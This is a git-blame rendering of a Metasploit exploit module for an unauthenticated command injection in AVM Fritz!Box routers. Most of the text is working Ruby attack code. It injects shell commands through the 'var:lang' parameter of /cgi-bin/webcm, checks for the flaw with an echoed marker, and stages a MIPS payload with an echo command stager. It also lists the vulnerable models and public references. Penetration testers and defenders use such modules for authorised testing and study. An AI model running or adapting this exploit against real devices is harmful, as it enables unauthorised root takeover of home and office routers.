2014-04-07 07:12:22 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-04-07 07:12:22 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-04-07 07:12:22 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-05-09 15:24:29 +00:00
|
|
|
include Msf::Exploit::CmdStager
|
2014-04-07 07:12:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Fritz!Box Webcm Unauthenticated Command Injection',
|
|
|
|
'Description' => %q{
|
2014-04-10 04:19:12 +00:00
|
|
|
Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.
|
2014-04-07 07:12:22 +00:00
|
|
|
This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the
|
|
|
|
following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,
|
|
|
|
7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,
|
|
|
|
6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2014-04-10 04:19:12 +00:00
|
|
|
'Unknown', # Vulnerability discovery
|
2014-07-11 17:45:23 +00:00
|
|
|
'Fabian Braeunlein <fabian[at]breaking.systems>', # Metasploit PoC with wget method
|
|
|
|
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
2014-04-07 07:12:22 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-04-07 21:12:54 +00:00
|
|
|
[ 'OSVDB', '103289' ],
|
|
|
|
[ 'BID', '65520' ],
|
2014-04-08 19:32:36 +00:00
|
|
|
[ 'URL', 'http://www.kapple.de/?p=75' ], # vulnerability details with PoC
|
|
|
|
[ 'URL', 'https://www.speckmarschall.de/hoere.htm' ], # probably the first published details (now censored)
|
|
|
|
[ 'URL', 'http://pastebin.com/GnMKGmZ2' ], # published details uncensored from speckmarschall
|
|
|
|
[ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], # vendor site with a list of vulnerable devices
|
|
|
|
[ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] # writeup with PoC
|
2014-04-07 07:12:22 +00:00
|
|
|
],
|
2014-04-07 17:29:37 +00:00
|
|
|
'DisclosureDate' => 'Feb 11 2014',
|
2014-04-07 07:12:22 +00:00
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true
|
|
|
|
},
|
2014-04-07 17:25:26 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2014-04-08 19:32:36 +00:00
|
|
|
[ 'MIPS Little Endian',
|
|
|
|
{
|
2014-04-10 04:19:41 +00:00
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_MIPSLE
|
2014-04-08 19:32:36 +00:00
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'MIPS Big Endian',
|
|
|
|
{
|
2014-04-10 04:19:12 +00:00
|
|
|
'Platform' => 'linux',
|
2015-05-04 10:55:21 +00:00
|
|
|
'Arch' => ARCH_MIPSBE
|
2014-04-08 19:32:36 +00:00
|
|
|
}
|
|
|
|
],
|
2014-04-07 17:25:26 +00:00
|
|
|
],
|
2014-06-28 20:21:08 +00:00
|
|
|
'DefaultTarget' => 0
|
2014-04-07 07:12:22 +00:00
|
|
|
))
|
2014-06-28 20:21:08 +00:00
|
|
|
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
2014-04-07 07:12:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
begin
|
2014-04-08 19:32:36 +00:00
|
|
|
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
|
|
|
|
|
2014-04-07 07:12:22 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/cgi-bin/webcm',
|
2014-04-08 19:32:36 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'vars_get' => {
|
|
|
|
"var:lang" => "&echo -e \"\\n\\n#{clue}\""
|
|
|
|
}
|
2014-04-07 07:12:22 +00:00
|
|
|
})
|
2014-04-08 19:32:36 +00:00
|
|
|
if res && res.body =~ /#{clue}/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
2014-04-07 07:12:22 +00:00
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
2014-04-10 04:19:12 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
2014-04-07 07:12:22 +00:00
|
|
|
end
|
|
|
|
|
2014-04-08 19:32:36 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2014-04-07 07:12:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def execute_command(cmd, opts)
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/cgi-bin/webcm',
|
|
|
|
'method' => 'GET',
|
|
|
|
'vars_get' => {
|
|
|
|
"var:lang" => "&#{cmd}",
|
|
|
|
}
|
|
|
|
})
|
|
|
|
return res
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Trying to access the vulnerable URL...")
|
2014-04-07 07:12:22 +00:00
|
|
|
|
2014-04-08 19:32:36 +00:00
|
|
|
unless check == Exploit::CheckCode::Vulnerable
|
2014-04-07 07:12:22 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
|
|
|
end
|
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Exploiting...")
|
2014-04-07 07:12:22 +00:00
|
|
|
execute_cmdstager(
|
2015-07-23 06:34:44 +00:00
|
|
|
flavor: :echo,
|
2015-07-27 19:17:21 +00:00
|
|
|
linemax: 92
|
2014-04-07 07:12:22 +00:00
|
|
|
)
|
|
|
|
end
|
|
|
|
end
|